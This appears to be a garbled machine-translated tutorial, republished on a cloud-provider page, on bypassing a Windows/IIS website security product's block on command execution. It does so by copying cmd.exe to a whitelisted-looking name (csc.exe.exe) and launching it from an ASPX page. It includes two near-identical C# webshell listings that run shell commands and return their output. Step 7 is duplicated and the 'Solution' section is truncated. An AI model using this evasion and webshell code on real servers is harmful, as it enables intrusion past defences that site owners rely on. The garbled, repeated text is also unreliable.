Dongle prohibits iis Command Bypass

Source: Internet
Author: User

Dongle prohibits iis Command Bypass

Dongle prohibits iis Command Bypass

1: = the safety dog feature is getting worse and worse. At first, let's take a look at the following disgusting things:

1): Upload protection, such as uploading aspx and asp.

2): browser protection, direct access to the aspx horse, and scan and kill

3): static Scanning

4): After the horse is uploaded, there is also a line of connection protection, which is a common dish removal tool.

5): execution of malicious components is prohibited.

6): Disable iis Command Execution


2: In the previous section 1234, it is often discussed in the zone that the content sent in the previous zone can be used for upload and static scanning and removal to bypass. Here we will mainly describe the last prohibition of iis Command Execution.



3: Here I am using the website security dog, version 3.5
 





The system is win2003 iis6.0.



4: the code for Creating An aspx page is as follows:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\system32\\cmd.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}



Generally, a cmd command is executed when you click it.

5: An error is reported when security is enabled, prompting you to execute the cmd command.
 





6: In this case, we have written a ghost white name, so I can change the exefile to csc.exe.exe. If this is the case, I copied a file to C: \ WINDOWS \ Microsoft. NET \ Framework \ v4.0.30319 \ csc.exe.exe.



7: modify the code and execute:
 





The modified file code:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}





 


7: modify the code and execute:
 





The modified file code:
 

using System;using System.Data;using System.Configuration;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Diagnostics;using System.ComponentModel;public partial class _Default : System.Web.UI.Page {    protected void Page_Load(object sender, EventArgs e)    {    }    protected void btnShow_Click(object sender, EventArgs e)    {                Process p = new Process();        p.StartInfo.FileName = "C:\\WINDOWS\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.exe";        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardInput = true;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.StartInfo.CreateNoWindow = true;        string strOutput = null;        p.Start();        p.StandardInput.WriteLine("whoami");        p.StandardInput.WriteLine("exit");        strOutput = p.StandardOutput.ReadToEnd();        p.WaitForExit();        p.Close();            this.lblDisplay.Text = strOutput;            }}


 

Solution:

Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.